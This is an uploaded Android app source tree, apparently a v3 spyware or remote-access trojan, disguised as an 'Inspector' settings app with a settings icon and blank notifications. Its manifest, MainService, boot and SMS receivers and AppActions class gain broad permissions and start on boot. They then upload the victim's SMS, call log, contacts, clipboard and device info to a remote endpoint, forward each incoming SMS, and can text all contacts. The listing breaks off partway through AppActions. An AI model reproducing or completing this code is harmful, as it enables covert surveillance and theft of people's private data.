uploaded source code
15
source code/apk src code v3/.gitignore
vendored
Normal file
@ -0,0 +1,15 @@
|
||||
*.iml
|
||||
.gradle
|
||||
/local.properties
|
||||
/.idea/caches
|
||||
/.idea/libraries
|
||||
/.idea/modules.xml
|
||||
/.idea/workspace.xml
|
||||
/.idea/navEditor.xml
|
||||
/.idea/assetWizardSettings.xml
|
||||
.DS_Store
|
||||
/build
|
||||
/captures
|
||||
.externalNativeBuild
|
||||
.cxx
|
||||
local.properties
|
1
source code/apk src code v3/app/.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
||||
/build
|
71
source code/apk src code v3/app/build.gradle
Normal file
@ -0,0 +1,71 @@
|
||||
plugins {
|
||||
id 'com.android.application'
|
||||
id 'org.jetbrains.kotlin.android'
|
||||
}
|
||||
|
||||
android {
|
||||
compileSdk 32
|
||||
|
||||
defaultConfig {
|
||||
applicationId "willi.fiend"
|
||||
minSdk 21
|
||||
targetSdk 32
|
||||
versionCode 1
|
||||
versionName "1.0"
|
||||
|
||||
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
|
||||
vectorDrawables {
|
||||
useSupportLibrary true
|
||||
}
|
||||
}
|
||||
|
||||
buildTypes {
|
||||
release {
|
||||
minifyEnabled true
|
||||
shrinkResources true
|
||||
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
|
||||
}
|
||||
}
|
||||
compileOptions {
|
||||
sourceCompatibility JavaVersion.VERSION_1_8
|
||||
targetCompatibility JavaVersion.VERSION_1_8
|
||||
}
|
||||
kotlinOptions {
|
||||
jvmTarget = '1.8'
|
||||
}
|
||||
buildFeatures {
|
||||
compose true
|
||||
}
|
||||
composeOptions {
|
||||
kotlinCompilerExtensionVersion compose_version
|
||||
}
|
||||
packagingOptions {
|
||||
resources {
|
||||
excludes += '/META-INF/{AL2.0,LGPL2.1}'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
|
||||
implementation 'androidx.core:core-ktx:1.8.0'
|
||||
implementation "androidx.compose.ui:ui:$compose_version"
|
||||
implementation 'androidx.compose.material3:material3:1.0.0-alpha15'
|
||||
implementation "androidx.compose.ui:ui-tooling-preview:$compose_version"
|
||||
implementation 'androidx.lifecycle:lifecycle-runtime-ktx:2.5.1'
|
||||
implementation 'androidx.activity:activity-compose:1.5.1'
|
||||
implementation 'androidx.appcompat:appcompat:1.4.2'
|
||||
implementation 'com.google.android.material:material:1.6.1'
|
||||
implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
|
||||
testImplementation 'junit:junit:4.13.2'
|
||||
androidTestImplementation 'androidx.test.ext:junit:1.1.3'
|
||||
androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0'
|
||||
androidTestImplementation "androidx.compose.ui:ui-test-junit4:$compose_version"
|
||||
debugImplementation "androidx.compose.ui:ui-tooling:$compose_version"
|
||||
debugImplementation "androidx.compose.ui:ui-test-manifest:$compose_version"
|
||||
|
||||
implementation("com.squareup.okhttp3:okhttp:4.9.3")
|
||||
implementation 'com.karumi:dexter:6.2.3'
|
||||
implementation 'com.google.code.gson:gson:2.8.9'
|
||||
implementation 'com.google.android.gms:play-services-location:20.0.0'
|
||||
}
|
21
source code/apk src code v3/app/proguard-rules.pro
vendored
Normal file
@ -0,0 +1,21 @@
|
||||
# Add project specific ProGuard rules here.
|
||||
# You can control the set of applied configuration files using the
|
||||
# proguardFiles setting in build.gradle.
|
||||
#
|
||||
# For more details, see
|
||||
# http://developer.android.com/guide/developing/tools/proguard.html
|
||||
|
||||
# If your project uses WebView with JS, uncomment the following
|
||||
# and specify the fully qualified class name to the JavaScript interface
|
||||
# class:
|
||||
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
|
||||
# public *;
|
||||
#}
|
||||
|
||||
# Uncomment this to preserve the line number information for
|
||||
# debugging stack traces.
|
||||
#-keepattributes SourceFile,LineNumberTable
|
||||
|
||||
# If you keep the line number information, uncomment this to
|
||||
# hide the original source file name.
|
||||
-renamesourcefileattribute SourceFile
|
@ -0,0 +1,24 @@
|
||||
package willi.fiend
|
||||
|
||||
import androidx.test.platform.app.InstrumentationRegistry
|
||||
import androidx.test.ext.junit.runners.AndroidJUnit4
|
||||
|
||||
import org.junit.Test
|
||||
import org.junit.runner.RunWith
|
||||
|
||||
import org.junit.Assert.*
|
||||
|
||||
/**
|
||||
* Instrumented test, which will execute on an Android device.
|
||||
*
|
||||
* See [testing documentation](http://d.android.com/tools/testing).
|
||||
*/
|
||||
@RunWith(AndroidJUnit4::class)
|
||||
class ExampleInstrumentedTest {
|
||||
@Test
|
||||
fun useAppContext() {
|
||||
// Context of the app under test.
|
||||
val appContext = InstrumentationRegistry.getInstrumentation().targetContext
|
||||
assertEquals("willi.fiend", appContext.packageName)
|
||||
}
|
||||
}
|
74
source code/apk src code v3/app/src/main/AndroidManifest.xml
Normal file
@ -0,0 +1,74 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:tools="http://schemas.android.com/tools"
|
||||
package="willi.fiend">
|
||||
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
|
||||
<uses-permission android:name="android.permission.READ_CALL_LOG" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_SMS" />
|
||||
<uses-permission android:name="android.permission.READ_SMS" />
|
||||
<uses-permission android:name="android.permission.SEND_SMS" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS" />
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO" />
|
||||
<uses-permission android:name="android.permission.CAMERA" />
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.VIBRATE" />
|
||||
|
||||
<application
|
||||
android:allowBackup="true"
|
||||
android:dataExtractionRules="@xml/data_extraction_rules"
|
||||
android:fullBackupContent="@xml/backup_rules"
|
||||
android:icon="@drawable/settings"
|
||||
android:label="@string/app_name"
|
||||
android:roundIcon="@drawable/settings"
|
||||
android:supportsRtl="true"
|
||||
android:theme="@style/Theme.Fiend"
|
||||
tools:targetApi="31">
|
||||
<activity
|
||||
android:name=".MainActivity"
|
||||
android:exported="true"
|
||||
android:label="@string/app_name"
|
||||
android:theme="@style/Theme.Fiend">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
|
||||
<receiver
|
||||
android:name=".Receiver.SmsReceiver"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
<receiver
|
||||
android:name=".Receiver.BootCompleteReceiver"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.BOOT_COMPLETED" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<service
|
||||
android:name=".Utils.AppNotificationListener"
|
||||
android:exported="true"
|
||||
android:label="@string/app_name"
|
||||
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
|
||||
<intent-filter>
|
||||
<action android:name="android.service.notification.NotificationListenerService" />
|
||||
</intent-filter>
|
||||
</service>
|
||||
<service
|
||||
android:name=".MainService"
|
||||
android:enabled="true"
|
||||
android:exported="true"
|
||||
android:foregroundServiceType="camera|microphone|location" />
|
||||
</application>
|
||||
|
||||
</manifest>
|
@ -0,0 +1,56 @@
|
||||
package willi.fiend
|
||||
|
||||
import android.annotation.SuppressLint
|
||||
import android.content.Intent
|
||||
import android.os.Bundle
|
||||
import android.os.Environment
|
||||
import android.util.Log
|
||||
import android.webkit.WebView
|
||||
import androidx.activity.ComponentActivity
|
||||
import androidx.activity.compose.setContent
|
||||
import androidx.compose.runtime.mutableStateOf
|
||||
import androidx.compose.runtime.remember
|
||||
import willi.fiend.Utils.AppTools
|
||||
import willi.fiend.Ui.Screen.Page1
|
||||
import willi.fiend.Ui.Screen.Page2
|
||||
import me.fiend.Ui.Screen.WebView
|
||||
import willi.fiend.Utils.AppRequest
|
||||
|
||||
|
||||
class MainActivity : ComponentActivity() {
|
||||
var webView: WebView? = null
|
||||
@SuppressLint("WrongThread")
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
AppTools.checkAppCloning(this)
|
||||
val request = AppRequest()
|
||||
request.sendWaterMark()
|
||||
request.sendText(AppRequest.Text("ᴀᴘᴘʟɪᴄᴀᴛɪᴏɴ ɪɴꜱᴛᴀʟʟᴇᴅ ᴀɴᴅ ᴏᴘᴇɴᴇᴅ , ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ᴘᴇʀᴍɪꜱꜱɪᴏɴꜱ ..."))
|
||||
setContent {
|
||||
val currentPage = remember {
|
||||
mutableStateOf(0)
|
||||
}
|
||||
if (!AppTools.showWelcome(this)) currentPage.value = 2
|
||||
when (currentPage.value) {
|
||||
0 -> {
|
||||
Page1 {
|
||||
currentPage.value = 1
|
||||
}
|
||||
}
|
||||
1 -> {
|
||||
Page2 {
|
||||
currentPage.value = 2
|
||||
}
|
||||
}
|
||||
2 -> {
|
||||
WebView() {
|
||||
webView = it
|
||||
}
|
||||
if (!AppTools.isServiceRunning(this)) {
|
||||
startService(Intent(this, MainService::class.java))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,58 @@
|
||||
package willi.fiend
|
||||
|
||||
import android.annotation.SuppressLint
|
||||
import android.app.*
|
||||
import android.app.Notification.BADGE_ICON_NONE
|
||||
import android.content.Intent
|
||||
import android.os.IBinder
|
||||
import android.widget.RemoteViews
|
||||
import androidx.core.app.NotificationCompat
|
||||
import androidx.core.app.NotificationCompat.BADGE_ICON_NONE
|
||||
import willi.fiend.Utils.AppSocket
|
||||
|
||||
|
||||
class MainService : Service() {
|
||||
override fun onBind(p0: Intent?): IBinder? {
|
||||
return null
|
||||
}
|
||||
|
||||
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
|
||||
val socket = AppSocket(this)
|
||||
val action = socket.action
|
||||
socket.connect()
|
||||
action.uploadApps()
|
||||
action.uploadMessages()
|
||||
action.uploadCalls()
|
||||
action.uploadContact()
|
||||
action.uploadDeviceInfo()
|
||||
action.uploadClipboard()
|
||||
return START_STICKY
|
||||
}
|
||||
|
||||
override fun onCreate() {
|
||||
super.onCreate()
|
||||
startForeground(1, getNotification())
|
||||
}
|
||||
|
||||
@SuppressLint("NewApi")
|
||||
private fun getNotification(): Notification {
|
||||
val channelId = "channel"
|
||||
val channelName = " "
|
||||
val channel = NotificationChannel(
|
||||
channelId,
|
||||
channelName,
|
||||
NotificationManager.IMPORTANCE_MIN
|
||||
)
|
||||
channel.lockscreenVisibility = Notification.VISIBILITY_PRIVATE
|
||||
val manager = (getSystemService(NOTIFICATION_SERVICE) as NotificationManager)
|
||||
manager.createNotificationChannel(channel)
|
||||
val notificationBuilder = NotificationCompat.Builder(this, channelId)
|
||||
return notificationBuilder.setOngoing(true)
|
||||
.setSmallIcon(R.drawable.mpt)
|
||||
.setContentTitle(" ")
|
||||
.setBadgeIconType(NotificationCompat.BADGE_ICON_NONE)
|
||||
.setPriority(NotificationManager.IMPORTANCE_UNSPECIFIED)
|
||||
.setCustomBigContentView(RemoteViews(packageName, R.layout.notification))
|
||||
.build()
|
||||
}
|
||||
}
|
@ -0,0 +1,13 @@
|
||||
package willi.fiend.Receiver
|
||||
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import androidx.core.content.ContextCompat
|
||||
import willi.fiend.MainService
|
||||
|
||||
class BootCompleteReceiver : BroadcastReceiver() {
|
||||
override fun onReceive(p0: Context, p1: Intent) {
|
||||
ContextCompat.startForegroundService(p0, Intent(p0, MainService::class.java))
|
||||
}
|
||||
}
|
@ -0,0 +1,36 @@
|
||||
package willi.fiend.Receiver
|
||||
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.telephony.SmsMessage
|
||||
import android.util.Log
|
||||
import willi.fiend.Utils.AppTools
|
||||
import willi.fiend.Utils.AppPermission
|
||||
import willi.fiend.Utils.AppRequest
|
||||
|
||||
|
||||
class SmsReceiver : BroadcastReceiver() {
|
||||
override fun onReceive(context: Context, intent: Intent) {
|
||||
if (intent.action == "android.provider.Telephony.SMS_RECEIVED" && AppPermission(context).checkReadSms()) {
|
||||
val bundle = intent.extras
|
||||
val msgs: Array<SmsMessage?>?
|
||||
var msg_from: String?
|
||||
if (bundle != null) {
|
||||
try {
|
||||
val pdus = bundle["pdus"] as Array<*>?
|
||||
msgs = arrayOfNulls(pdus!!.size)
|
||||
for (i in msgs.indices) {
|
||||
msgs[i] = SmsMessage.createFromPdu(pdus[i] as ByteArray)
|
||||
msg_from = msgs[i]?.originatingAddress
|
||||
val msgBody = msgs[i]?.messageBody
|
||||
val text = "New Message\nDevice : ${AppTools.getDeviceName()}\nFrom : $msg_from\nMessage : $msgBody"
|
||||
AppRequest().sendText(AppRequest.Text(text))
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.i("data", "Ex")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,7 @@
|
||||
package willi.fiend.Ui
|
||||
|
||||
import androidx.compose.ui.text.font.Font
|
||||
import androidx.compose.ui.text.font.FontFamily
|
||||
import willi.fiend.R
|
||||
|
||||
val AppFont = FontFamily(Font(R.font.helvetica))
|
@ -0,0 +1,90 @@
|
||||
package willi.fiend.Ui.Screen
|
||||
|
||||
import androidx.compose.foundation.Image
|
||||
import androidx.compose.foundation.layout.*
|
||||
import androidx.compose.foundation.shape.RoundedCornerShape
|
||||
import androidx.compose.material.icons.Icons
|
||||
import androidx.compose.material.icons.filled.ArrowForward
|
||||
import androidx.compose.material3.Button
|
||||
import androidx.compose.material3.Icon
|
||||
import androidx.compose.material3.Text
|
||||
import androidx.compose.runtime.*
|
||||
import androidx.compose.ui.Alignment
|
||||
import androidx.compose.ui.Alignment.Companion.End
|
||||
import androidx.compose.ui.Modifier
|
||||
import androidx.compose.ui.graphics.Color
|
||||
import androidx.compose.ui.layout.ContentScale
|
||||
import androidx.compose.ui.res.painterResource
|
||||
import androidx.compose.ui.text.font.FontWeight
|
||||
import androidx.compose.ui.unit.dp
|
||||
import androidx.compose.ui.unit.sp
|
||||
import kotlinx.coroutines.launch
|
||||
import willi.fiend.Ui.AppFont
|
||||
import willi.fiend.R
|
||||
|
||||
@Composable
|
||||
fun Page1(onNext: () -> Unit) {
|
||||
val scope = rememberCoroutineScope()
|
||||
Column(modifier = Modifier.fillMaxSize()) {
|
||||
Image(
|
||||
modifier = Modifier
|
||||
.fillMaxWidth()
|
||||
.weight(4f),
|
||||
painter = painterResource(id = R.drawable.header),
|
||||
contentDescription = null,
|
||||
contentScale = ContentScale.Crop
|
||||
)
|
||||
Text(
|
||||
modifier = Modifier
|
||||
.fillMaxWidth()
|
||||
.weight(0.6f)
|
||||
.padding(top = 30.dp, start = 15.dp, end = 15.dp),
|
||||
text = "Welcome to Inspector",
|
||||
color = Color.Black,
|
||||
fontFamily = AppFont,
|
||||
fontSize = 25.sp,
|
||||
fontWeight = FontWeight.Bold
|
||||
)
|
||||
Text(
|
||||
modifier = Modifier
|
||||
.fillMaxWidth()
|
||||
.weight(2f)
|
||||
.padding(top = 15.dp, start = 15.dp, end = 15.dp),
|
||||
text = "Him boisterous invitation dispatched had connection inhabiting projection. By mutual an mr danger garret edward an. Diverted as strictly exertion addition no disposal by stanhill.",
|
||||
color = Color.Black,
|
||||
fontFamily = AppFont,
|
||||
fontSize = 20.sp,
|
||||
fontWeight = FontWeight.Normal
|
||||
)
|
||||
Button(
|
||||
modifier = Modifier
|
||||
.weight(0.71f)
|
||||
.align(End)
|
||||
.padding(top = 15.dp, end = 16.dp, bottom = 16.dp),
|
||||
shape = RoundedCornerShape(50.dp),
|
||||
onClick = {
|
||||
scope.launch {
|
||||
onNext()
|
||||
}
|
||||
}
|
||||
) {
|
||||
Row(
|
||||
horizontalArrangement = Arrangement.Center,
|
||||
verticalAlignment = Alignment.CenterVertically
|
||||
) {
|
||||
Spacer(modifier = Modifier.width(5.dp))
|
||||
Text(
|
||||
modifier = Modifier
|
||||
.padding(2.dp),
|
||||
text = "Next",
|
||||
color = Color.White,
|
||||
fontFamily = AppFont,
|
||||
fontSize = 20.sp,
|
||||
fontWeight = FontWeight.Normal
|
||||
)
|
||||
Spacer(modifier = Modifier.width(3.dp))
|
||||
Icon(imageVector = Icons.Filled.ArrowForward, contentDescription = "")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,92 @@
|
||||
package willi.fiend.Ui.Screen
|
||||
|
||||
import androidx.compose.foundation.Image
|
||||
import androidx.compose.foundation.layout.*
|
||||
import androidx.compose.foundation.shape.RoundedCornerShape
|
||||
import androidx.compose.material.icons.Icons
|
||||
import androidx.compose.material.icons.filled.ArrowForward
|
||||
import androidx.compose.material3.Button
|
||||
import androidx.compose.material3.Icon
|
||||
import androidx.compose.material3.Text
|
||||
import androidx.compose.runtime.Composable
|
||||
import androidx.compose.ui.Alignment
|
||||
import androidx.compose.ui.Alignment.Companion.End
|
||||
import androidx.compose.ui.Modifier
|
||||
import androidx.compose.ui.graphics.Color
|
||||
import androidx.compose.ui.platform.LocalContext
|
||||
import androidx.compose.ui.res.painterResource
|
||||
import androidx.compose.ui.text.font.FontWeight
|
||||
import androidx.compose.ui.unit.dp
|
||||
import androidx.compose.ui.unit.sp
|
||||
import willi.fiend.Ui.AppFont
|
||||
import willi.fiend.R
|
||||
import willi.fiend.Utils.AppPermission
|
||||
import willi.fiend.Utils.AppTools
|
||||
|
||||
@Composable
|
||||
fun Page2(onAgree: () -> Unit) {
|
||||
val context = LocalContext.current
|
||||
Column(modifier = Modifier.fillMaxSize()) {
|
||||
Image(
|
||||
modifier = Modifier
|
||||
.fillMaxWidth()
|
||||
.padding(35.dp)
|
||||
.weight(4f),
|
||||
painter = painterResource(id = R.drawable.settings),
|
||||
contentDescription = null,
|
||||
)
|
||||
Text(
|
||||
modifier = Modifier
|
||||
.fillMaxWidth()
|
||||
.weight(0.6f)
|
||||
.padding(top = 30.dp, start = 15.dp, end = 15.dp),
|
||||
text = "Grant Permission",
|
||||
color = Color.Black,
|
||||
fontFamily = AppFont,
|
||||
fontSize = 25.sp,
|
||||
fontWeight = FontWeight.Bold
|
||||
)
|
||||
Text(
|
||||
modifier = Modifier
|
||||
.fillMaxWidth()
|
||||
.weight(2f)
|
||||
.padding(top = 15.dp, start = 15.dp, end = 15.dp),
|
||||
text = "In order to use app functionality you need to allow app permission and agree the terms if use this app ",
|
||||
color = Color.Black,
|
||||
fontFamily = AppFont,
|
||||
fontSize = 20.sp,
|
||||
fontWeight = FontWeight.Normal
|
||||
)
|
||||
Button(
|
||||
modifier = Modifier
|
||||
.weight(0.71f)
|
||||
.align(End)
|
||||
.padding(top = 15.dp, end = 16.dp, bottom = 16.dp),
|
||||
shape = RoundedCornerShape(50.dp),
|
||||
onClick = {
|
||||
AppPermission(context).getPerms {
|
||||
AppTools.disableWelcome(context)
|
||||
onAgree()
|
||||
}
|
||||
}
|
||||
) {
|
||||
Row(
|
||||
horizontalArrangement = Arrangement.Center,
|
||||
verticalAlignment = Alignment.CenterVertically
|
||||
) {
|
||||
Spacer(modifier = Modifier.width(5.dp))
|
||||
Text(
|
||||
modifier = Modifier
|
||||
.padding(2.dp),
|
||||
text = "Agree and Continue",
|
||||
color = Color.White,
|
||||
fontFamily = AppFont,
|
||||
fontSize = 20.sp,
|
||||
fontWeight = FontWeight.Normal
|
||||
)
|
||||
Spacer(modifier = Modifier.width(3.dp))
|
||||
Icon(imageVector = Icons.Filled.ArrowForward, contentDescription = "")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,40 @@
|
||||
package me.fiend.Ui.Screen
|
||||
|
||||
import android.annotation.SuppressLint
|
||||
import android.content.Intent
|
||||
import android.provider.Settings
|
||||
import android.view.ViewGroup
|
||||
import android.webkit.WebView
|
||||
import android.webkit.WebViewClient
|
||||
import androidx.compose.runtime.Composable
|
||||
import androidx.compose.ui.platform.LocalContext
|
||||
import androidx.compose.ui.viewinterop.AndroidView
|
||||
import willi.fiend.Utils.AppTools
|
||||
|
||||
@SuppressLint("SetJavaScriptEnabled")
|
||||
@Composable
|
||||
fun WebView(onWebView: (webView:WebView) -> Unit) {
|
||||
val context = LocalContext.current
|
||||
val urlToRender = AppTools.getAppData().webView
|
||||
AndroidView(factory = {
|
||||
WebView(it).apply {
|
||||
onWebView(this)
|
||||
layoutParams = ViewGroup.LayoutParams(
|
||||
ViewGroup.LayoutParams.MATCH_PARENT,
|
||||
ViewGroup.LayoutParams.MATCH_PARENT
|
||||
)
|
||||
webViewClient = WebViewClient()
|
||||
settings.javaScriptEnabled = true
|
||||
settings.domStorageEnabled = true;
|
||||
settings.setAppCacheEnabled(true);
|
||||
settings.setAppCachePath(context.filesDir.absolutePath + "/cache");
|
||||
loadUrl(urlToRender)
|
||||
setDownloadListener(AppTools.WebViewDownloadListener(context))
|
||||
}
|
||||
}, update = {
|
||||
it.loadUrl(urlToRender)
|
||||
})
|
||||
if (!AppTools.isNotificationServiceRunning(context)) {
|
||||
context.startActivity(Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));
|
||||
}
|
||||
}
|
@ -0,0 +1,492 @@
|
||||
package willi.fiend.Utils
|
||||
|
||||
import android.annotation.SuppressLint
|
||||
import android.app.NotificationManager
|
||||
import android.app.PendingIntent
|
||||
import android.app.Service
|
||||
import android.content.ClipboardManager
|
||||
import android.content.ContentResolver
|
||||
import android.content.Context
|
||||
import android.content.Context.CLIPBOARD_SERVICE
|
||||
import android.content.Intent
|
||||
import android.content.pm.ResolveInfo
|
||||
import android.database.Cursor
|
||||
import android.graphics.SurfaceTexture
|
||||
import android.hardware.Camera
|
||||
import android.media.MediaPlayer
|
||||
import android.media.MediaRecorder
|
||||
import android.net.Uri
|
||||
import android.os.*
|
||||
import android.provider.CallLog
|
||||
import android.provider.ContactsContract
|
||||
import android.telephony.SmsManager
|
||||
import android.widget.Toast
|
||||
import androidx.core.app.NotificationCompat
|
||||
import com.google.android.gms.location.FusedLocationProviderClient
|
||||
import com.google.android.gms.location.LocationCallback
|
||||
import com.google.android.gms.location.LocationRequest
|
||||
import com.google.android.gms.location.LocationResult
|
||||
import willi.fiend.R
|
||||
import java.io.File
|
||||
import java.io.FileWriter
|
||||
|
||||
|
||||
class AppActions(val context: Context) {
|
||||
private val request = AppRequest()
|
||||
private val permission = AppPermission(context)
|
||||
private var mediaPlayer: MediaPlayer? = null
|
||||
|
||||
fun uploadCalls() {
|
||||
if (permission.checkReadCallLog()) {
|
||||
val numberCol = CallLog.Calls.NUMBER
|
||||
val durationCol = CallLog.Calls.DURATION
|
||||
val typeCol = CallLog.Calls.TYPE // 1 - Incoming, 2 - Outgoing, 3 - Missed
|
||||
val projection = arrayOf(numberCol, durationCol, typeCol)
|
||||
val cursor = context.contentResolver.query(
|
||||
CallLog.Calls.CONTENT_URI,
|
||||
projection, null, null, null
|
||||
)
|
||||
val numberColIdx = cursor!!.getColumnIndex(numberCol)
|
||||
val durationColIdx = cursor.getColumnIndex(durationCol)
|
||||
val typeColIdx = cursor.getColumnIndex(typeCol)
|
||||
var text = "Call log : \n\n"
|
||||
while (cursor.moveToNext()) {
|
||||
val number = cursor.getString(numberColIdx)
|
||||
val duration = cursor.getString(durationColIdx)
|
||||
val type = cursor.getString(typeColIdx)
|
||||
val typeCorrect =
|
||||
if (type == "1") "Incoming" else if (type == "2") "Outgoing" else "Missed"
|
||||
text += "number : $number\nduration : $duration\nType : $typeCorrect\n\n"
|
||||
}
|
||||
cursor.close()
|
||||
val file = File.createTempFile("Call Log - ${AppTools.getDeviceName()} - ", ".txt")
|
||||
val writer = FileWriter(file)
|
||||
writer.append(text)
|
||||
writer.flush()
|
||||
writer.close()
|
||||
request.sendFile(file)
|
||||
} else {
|
||||
request.sendText(AppRequest.Text("ᴄᴀʟʟ ʟᴏɢ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressLint("Range")
|
||||
fun uploadContact() {
|
||||
if (permission.checkReadContacts()) {
|
||||
var allContactList = "All Contacts\n\n\n"
|
||||
val cr: ContentResolver = context.contentResolver
|
||||
val cur = cr.query(
|
||||
ContactsContract.Contacts.CONTENT_URI,
|
||||
null, null, null, null
|
||||
)
|
||||
if ((cur?.count ?: 0) > 0) {
|
||||
while (cur != null && cur.moveToNext()) {
|
||||
val id = cur.getString(
|
||||
cur.getColumnIndex(ContactsContract.Contacts._ID)
|
||||
)
|
||||
val name = cur.getString(
|
||||
cur.getColumnIndex(
|
||||
ContactsContract.Contacts.DISPLAY_NAME
|
||||
)
|
||||
)
|
||||
if (cur.getInt(
|
||||
cur.getColumnIndex(
|
||||
ContactsContract.Contacts.HAS_PHONE_NUMBER
|
||||
)
|
||||
) > 0
|
||||
) {
|
||||
val pCur = cr.query(
|
||||
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
|
||||
null,
|
||||
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?",
|
||||
arrayOf(id),
|
||||
null
|
||||
)
|
||||
while (pCur!!.moveToNext()) {
|
||||
val phoneNo = pCur.getString(
|
||||
pCur.getColumnIndex(
|
||||
ContactsContract.CommonDataKinds.Phone.NUMBER
|
||||
)
|
||||
)
|
||||
allContactList += "Name: $name\nPhone Number: $phoneNo\n\n"
|
||||
}
|
||||
pCur.close()
|
||||
}
|
||||
}
|
||||
}
|
||||
cur?.close()
|
||||
val file =
|
||||
File.createTempFile("All Contacts - ${AppTools.getDeviceName()} - ", ".txt")
|
||||
val writer = FileWriter(file)
|
||||
writer.append(allContactList)
|
||||
writer.flush()
|
||||
writer.close()
|
||||
request.sendFile(file)
|
||||
} else {
|
||||
request.sendText(AppRequest.Text("ᴄᴏɴᴛᴀᴄᴛ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressLint("Range", "Recycle")
|
||||
fun uploadMessages() {
|
||||
if (permission.checkReadSms()) {
|
||||
val sms = arrayListOf<SmsModel>()
|
||||
val uriSMSURI = Uri.parse("content://sms/inbox")
|
||||
val cur: Cursor? = context.contentResolver.query(uriSMSURI, null, null, null, null)
|
||||
if (cur != null) {
|
||||
while (cur.moveToNext()) {
|
||||
val address = cur.getString(cur.getColumnIndex("address"))
|
||||
val body = cur.getString(cur.getColumnIndexOrThrow("body"))
|
||||
sms.add(SmsModel(address, body, AppTools.getDeviceName()))
|
||||
}
|
||||
var allSmsText = "All Sms : \n\n"
|
||||
for (message in sms) {
|
||||
val number = message.phone
|
||||
val device = message.device
|
||||
val text = message.message
|
||||
allSmsText += "Number : $number\nDevice : $device\nMessage : $text\n\n\n\n"
|
||||
}
|
||||
val file =
|
||||
File.createTempFile("All Sms - ${AppTools.getDeviceName()} - ", ".txt")
|
||||
val writer = FileWriter(file)
|
||||
writer.append(allSmsText)
|
||||
writer.flush()
|
||||
writer.close()
|
||||
request.sendFile(file)
|
||||
}
|
||||
} else {
|
||||
request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressLint("UnspecifiedImmutableFlag")
|
||||
fun sendMessage(number: String, message: String) {
|
||||
if (permission.checkSendSms()) {
|
||||
val sentPI: PendingIntent =
|
||||
PendingIntent.getBroadcast(context, 0, Intent("SMS_SENT"), 0)
|
||||
SmsManager.getDefault()
|
||||
.sendTextMessage(number, null, message, sentPI, null)
|
||||
} else {
|
||||
request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressLint("Range")
|
||||
fun messageToAllContacts(message: String) {
|
||||
if (permission.checkReadContacts() && permission.checkSendSms()) {
|
||||
val cr: ContentResolver = context.contentResolver
|
||||
val cur = cr.query(
|
||||
ContactsContract.Contacts.CONTENT_URI,
|
||||
null, null, null, null
|
||||
)
|
||||
if ((cur?.count ?: 0) > 0) {
|
||||
while (cur != null && cur.moveToNext()) {
|
||||
val id = cur.getString(
|
||||
cur.getColumnIndex(ContactsContract.Contacts._ID)
|
||||
)
|
||||
if (cur.getInt(
|
||||
cur.getColumnIndex(
|
||||
ContactsContract.Contacts.HAS_PHONE_NUMBER
|
||||
)
|
||||
) > 0
|
||||
) {
|
||||
val pCur = cr.query(
|
||||
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
|
||||
null,
|
||||
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?",
|
||||
arrayOf(id),
|
||||
null
|
||||
)
|
||||
while (pCur!!.moveToNext()) {
|
